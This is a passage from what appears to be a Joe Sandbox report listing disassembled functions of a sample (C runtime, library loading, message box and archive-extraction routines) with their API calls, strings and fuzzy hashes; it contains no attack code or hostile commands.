Instruction Fuzzy Hash: 33416F11F2964381FB60EB24E9616BE6251AF9C7C8F545031DA6EC2AF9FE6CF108C740

Function 00007FF6FB1E20F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6FB1E211B
SelectObject.GDI32 ref: 00007FF6FB1E2162
DrawTextW.USER32 ref: 00007FF6FB1E2185
SelectObject.GDI32 ref: 00007FF6FB1E219B
ReleaseDC.USER32 ref: 00007FF6FB1E21AB
MoveWindow.USER32 ref: 00007FF6FB1E21FB
MoveWindow.USER32 ref: 00007FF6FB1E223B
MoveWindow.USER32 ref: 00007FF6FB1E228E
MoveWindow.USER32 ref: 00007FF6FB1E22D6

Strings

P%, xrefs: 00007FF6FB1E216F

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: d5dd136cfe9f7ccbcb0fe4cae99cf14dfe1cc9f89db7d8019ba122c6a34f6d98
Instruction ID: 3dc3369830e126535fdb4c2228ed0b968f663e87a8ca85238e0f76eaa7092272
Opcode Fuzzy Hash: d5dd136cfe9f7ccbcb0fe4cae99cf14dfe1cc9f89db7d8019ba122c6a34f6d98
Instruction Fuzzy Hash: 5C51E7266147A286D7349F22B4681BEB7A1F798BA5F004121EBDF83794EF3CD145CB10

Function 00007FF6FB1F55A0 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 493COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F55E3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F59D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F5C6C

Strings

-, xrefs: 00007FF6FB1F5679
p, xrefs: 00007FF6FB1F570D
f, xrefs: 00007FF6FB1F5705
:, xrefs: 00007FF6FB1F579C
p, xrefs: 00007FF6FB1F5695

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 21cbc72c7e6dc269be11e21f83bf2085e3383c5e1ad4ae35147280bf7774980f
Instruction ID: 171ece82a85c632ae3cf06dfb3decd6baba0ac50736b311000544eaa46118e52
Opcode Fuzzy Hash: 21cbc72c7e6dc269be11e21f83bf2085e3383c5e1ad4ae35147280bf7774980f
Instruction Fuzzy Hash: C012B571E0C24386FB24DB15D0542797692FB8879CF944136D6AA87AE8FF3CE590CB04

Function 00007FF6FB1F02E8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F0328
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F06F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F098F

Strings

f, xrefs: 00007FF6FB1F042A
p, xrefs: 00007FF6FB1F03CD
f, xrefs: 00007FF6FB1F0575
f, xrefs: 00007FF6FB1F03C0
p, xrefs: 00007FF6FB1F0432

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 1ce7302e2fd45bb0c0c54093c0ec2c5d292275181cf657796836d36714c503ba
Instruction ID: e6ac04964fe0ad5565ba27a5d55502366ca34db5c8ade0f5475fa164ea720470
Opcode Fuzzy Hash: 1ce7302e2fd45bb0c0c54093c0ec2c5d292275181cf657796836d36714c503ba
Instruction Fuzzy Hash: EF129462E0C14386FB20DF54E0587B97292FB88758F984135D6AA876E4FF7DE980CB50

Function 00007FF6FB1E1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 111COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6FB1E10C5
malloc, xrefs: 00007FF6FB1E10FC
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6FB1E11D0
fread, xrefs: 00007FF6FB1E11D7
fseek, xrefs: 00007FF6FB1E10CC
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6FB1E1097
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6FB1E10F5

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 6c2c96a29d60f432f2b448254d07b01eb9fab63d38ba2328369ba170bbdd7169
Instruction ID: 6f7834727ce1eb4a92e1931a37700c06773c20887ed0693cc16d563ca2b5f628
Opcode Fuzzy Hash: 6c2c96a29d60f432f2b448254d07b01eb9fab63d38ba2328369ba170bbdd7169
Instruction Fuzzy Hash: 85417C22E0864382FB20DB22A9545BEA390BB48BC8F444431ED6E87BF5FE2CF4548740

Function 00007FF6FB1E1440 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 100COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6FB1E14A9
malloc, xrefs: 00007FF6FB1E14E0
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6FB1E159A
fread, xrefs: 00007FF6FB1E15A1
fseek, xrefs: 00007FF6FB1E14B0
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6FB1E146F
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6FB1E14D9

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 7a6b146adfcb98e650bee18aa77db2fbb1ea6c7dd5ba6714b17be4e0a6b4b0dd
Instruction ID: 84ecfcd80d7305998b3be636ada93a78a111f2fbd3bdddcd1f2a45b457d3d257
Opcode Fuzzy Hash: 7a6b146adfcb98e650bee18aa77db2fbb1ea6c7dd5ba6714b17be4e0a6b4b0dd
Instruction Fuzzy Hash: 69414722E0864382FB20DB15A9505BE63A0AF4DBD8F545432DA6E87AF5FE7CF5518700

Function 00007FF6FB1EDD28 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF6FB1EDD85

Part of subcall function 00007FF6FB1EECDC: __GetUnwindTryBlock.LIBCMT ref: 00007FF6FB1EED1F
Part of subcall function 00007FF6FB1EECDC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF6FB1EED44

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6FB1EDE5D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF6FB1EE0AB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FB1EE1B8

Strings

csm, xrefs: 00007FF6FB1EDD9F
csm, xrefs: 00007FF6FB1EDE06
csm, xrefs: 00007FF6FB1EDE80

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 9e3578d2910a1de3a92e15cd58e24121979594cfb80c91fc1a566261b89881c5
Instruction ID: 794c82b303f5e3d5b7cc6c91b9e4080ab274db0d023e0e03f98114b72fe0fbab
Opcode Fuzzy Hash: 9e3578d2910a1de3a92e15cd58e24121979594cfb80c91fc1a566261b89881c5
Instruction Fuzzy Hash: D8D14C32E087468AEB60DB6594403AE77A0FB59B9CF100135EA6D97FA5EF38F491C740

Function 00007FF6FB1ECFE8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF6FB1ED29A,?,?,?,00007FF6FB1ECF8C,?,?,?,00007FF6FB1ECB89), ref: 00007FF6FB1ED06D
GetLastError.KERNEL32(?,?,?,00007FF6FB1ED29A,?,?,?,00007FF6FB1ECF8C,?,?,?,00007FF6FB1ECB89), ref: 00007FF6FB1ED07B
LoadLibraryExW.KERNEL32(?,?,?,00007FF6FB1ED29A,?,?,?,00007FF6FB1ECF8C,?,?,?,00007FF6FB1ECB89), ref: 00007FF6FB1ED0A5
FreeLibrary.KERNEL32(?,?,?,00007FF6FB1ED29A,?,?,?,00007FF6FB1ECF8C,?,?,?,00007FF6FB1ECB89), ref: 00007FF6FB1ED113
GetProcAddress.KERNEL32(?,?,?,00007FF6FB1ED29A,?,?,?,00007FF6FB1ECF8C,?,?,?,00007FF6FB1ECB89), ref: 00007FF6FB1ED11F

Strings

api-ms-, xrefs: 00007FF6FB1ED08D

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction ID: a5c4d9d5d5bab91ca0f4aeb956cdfdd91acae7b12b79009de08f85f301f8d72b
Opcode Fuzzy Hash: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction Fuzzy Hash: 43317A35B1AA4B81EB21DB12A80467D6294BB0CBA8F5A0535DD3D87BE0FE3CF4468300

Function 00007FF6FB1FA460 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6FB1FA46F
FlsGetValue.KERNEL32 ref: 00007FF6FB1FA484
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA4A5
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA4D2
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA4E3
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA4F4
SetLastError.KERNEL32 ref: 00007FF6FB1FA50F

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 67217a7fc91f5e25160bb9a3b2c8204a3bd01eab0ccbfeeabb81ecf6e12f005c
Instruction ID: dc7fb6c9b439329b3f1eebeaee82eec497c0604bf2e99167f223d5535a857021
Opcode Fuzzy Hash: 67217a7fc91f5e25160bb9a3b2c8204a3bd01eab0ccbfeeabb81ecf6e12f005c
Instruction Fuzzy Hash: 72214C21E5C24342FB68E721965917D61A29F8C7F8F184734E93EC6AF6FE2CA441C701

Function 00007FF6FB20707C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF6FB2070AD
GetLastError.KERNEL32 ref: 00007FF6FB2070B9
CloseHandle.KERNEL32 ref: 00007FF6FB2070D1
CreateFileW.KERNEL32 ref: 00007FF6FB2070FC
WriteConsoleW.KERNEL32 ref: 00007FF6FB20711B

Strings

CONOUT$, xrefs: 00007FF6FB2070DD

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
Instruction ID: 7b53d6fa7f3dbf827f2a487b1539fd8aa51851257c78a003142cb659cb094a80
Opcode Fuzzy Hash: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
Instruction Fuzzy Hash: DE115121A18A4786E7609B56E958339A2A0FB9CBE4F045234EA6EC77F4EF7CD414C740

Function 00007FF6FB1E81F0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,?,00007FF6FB1E39F2), ref: 00007FF6FB1E821D
K32EnumProcessModules.KERNEL32(?,00000000,?,00007FF6FB1E39F2), ref: 00007FF6FB1E827A

Part of subcall function 00007FF6FB1E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6FB1E3FA4,00000000,00007FF6FB1E1925), ref: 00007FF6FB1E86E9

K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF6FB1E39F2), ref: 00007FF6FB1E8305
K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF6FB1E39F2), ref: 00007FF6FB1E8364
FreeLibrary.KERNEL32(?,00000000,?,00007FF6FB1E39F2), ref: 00007FF6FB1E8375
FreeLibrary.KERNEL32(?,00000000,?,00007FF6FB1E39F2), ref: 00007FF6FB1E838A

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 639de59220823cace7c77af6f37b7d772b01f3b75ea0781fa3cc2fa807537d27
Instruction ID: 15b841edd0ea822cfbb58ef6fca21af6a6028b9fa1b58d3e308299b92fd91964
Opcode Fuzzy Hash: 639de59220823cace7c77af6f37b7d772b01f3b75ea0781fa3cc2fa807537d27
Instruction Fuzzy Hash: 7C415E62E19A8381EB70DB11A5442AE6394FB8DBC8F444135DF6D97BE9EE3CE501C700

Function 00007FF6FB1FA5D8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6FB1F43FD,?,?,?,?,00007FF6FB1F979A,?,?,?,?,00007FF6FB1F649F), ref: 00007FF6FB1FA5E7
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F43FD,?,?,?,?,00007FF6FB1F979A,?,?,?,?,00007FF6FB1F649F), ref: 00007FF6FB1FA61D
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F43FD,?,?,?,?,00007FF6FB1F979A,?,?,?,?,00007FF6FB1F649F), ref: 00007FF6FB1FA64A
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F43FD,?,?,?,?,00007FF6FB1F979A,?,?,?,?,00007FF6FB1F649F), ref: 00007FF6FB1FA65B
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F43FD,?,?,?,?,00007FF6FB1F979A,?,?,?,?,00007FF6FB1F649F), ref: 00007FF6FB1FA66C
SetLastError.KERNEL32(?,?,?,00007FF6FB1F43FD,?,?,?,?,00007FF6FB1F979A,?,?,?,?,00007FF6FB1F649F), ref: 00007FF6FB1FA687

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: ef20b32075126869ce53cf62fbcb139ef3f5263cb698c8c2b5617054fce20239
Instruction ID: db631e8db13fb1a6b3ccbb68a75881381014553465a5cd4151cc284b9ed3eefa
Opcode Fuzzy Hash: ef20b32075126869ce53cf62fbcb139ef3f5263cb698c8c2b5617054fce20239
Instruction Fuzzy Hash: 86114A21E5C24342FB58E7619A5917D22A25F8C7B8F045734D83EC66F6FE2CB801C701

Function 00007FF6FB1E2300 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6FB1E2338
DialogBoxIndirectParamW.USER32 ref: 00007FF6FB1E23FE
DeleteObject.GDI32 ref: 00007FF6FB1E2431
DestroyIcon.USER32 ref: 00007FF6FB1E2443

Strings

Unhandled exception in script, xrefs: 00007FF6FB1E2368

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 2f02a126994589ece2bf0b221661227d336c2ada993d2ff489732679099e34b6
Instruction ID: 78ab12e641600f7cf6fd2a0d0f3732bdc9268598fceeba26a7463725195367fa
Opcode Fuzzy Hash: 2f02a126994589ece2bf0b221661227d336c2ada993d2ff489732679099e34b6
Instruction Fuzzy Hash: 18311F76A0968385EB20EF61E9652F96364FF8D788F440135EA5E86BA5EF3CD104C700

Function 00007FF6FB1E2760 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FB1E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6FB1E3FA4,00000000,00007FF6FB1E1925), ref: 00007FF6FB1E86E9

MessageBoxW.USER32 ref: 00007FF6FB1E283B
MessageBoxA.USER32 ref: 00007FF6FB1E284F

Strings

%s%s: %s, xrefs: 00007FF6FB1E27EC
Error/warning (ANSI fallback), xrefs: 00007FF6FB1E2843
Error, xrefs: 00007FF6FB1E282C

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Error$Error/warning (ANSI fallback)
API String ID: 1878133881-640379615
Opcode ID: c7e22cebafa3b4081381e7f20538df90bc3c47857982eb0ae5879fef5a553f49
Instruction ID: af085a4454aabcc04595b0d90461438e07fab35b77b42f48f0c653e33665c215
Opcode Fuzzy Hash: c7e22cebafa3b4081381e7f20538df90bc3c47857982eb0ae5879fef5a553f49
Instruction Fuzzy Hash: 15212172A1868781E730DB10F4617EE6364FB88788F401136E69D93AE9EF7CE655C740

Function 00007FF6FB1F8DA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6FB1F8DC5
GetProcAddress.KERNEL32 ref: 00007FF6FB1F8DDB
FreeLibrary.KERNEL32 ref: 00007FF6FB1F8E02

Strings

mscoree.dll, xrefs: 00007FF6FB1F8DBC
CorExitProcess, xrefs: 00007FF6FB1F8DD4

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
Instruction ID: 9a6ff5160032f93f13c2f460ae862feda53ae65771ff672f3f30334ae9f44df5
Opcode Fuzzy Hash: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
Instruction Fuzzy Hash: 15F09625B1970381EB209B24E49837D5320AF8DBA5F581635D57EC61F4EF3DD149D310

Function 00007FF6FB208678 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6FB2086A0
_set_statfp.LIBCMT ref: 00007FF6FB2086BB
_set_statfp.LIBCMT ref: 00007FF6FB2086D7
_set_statfp.LIBCMT ref: 00007FF6FB208713

Memory Dump Source

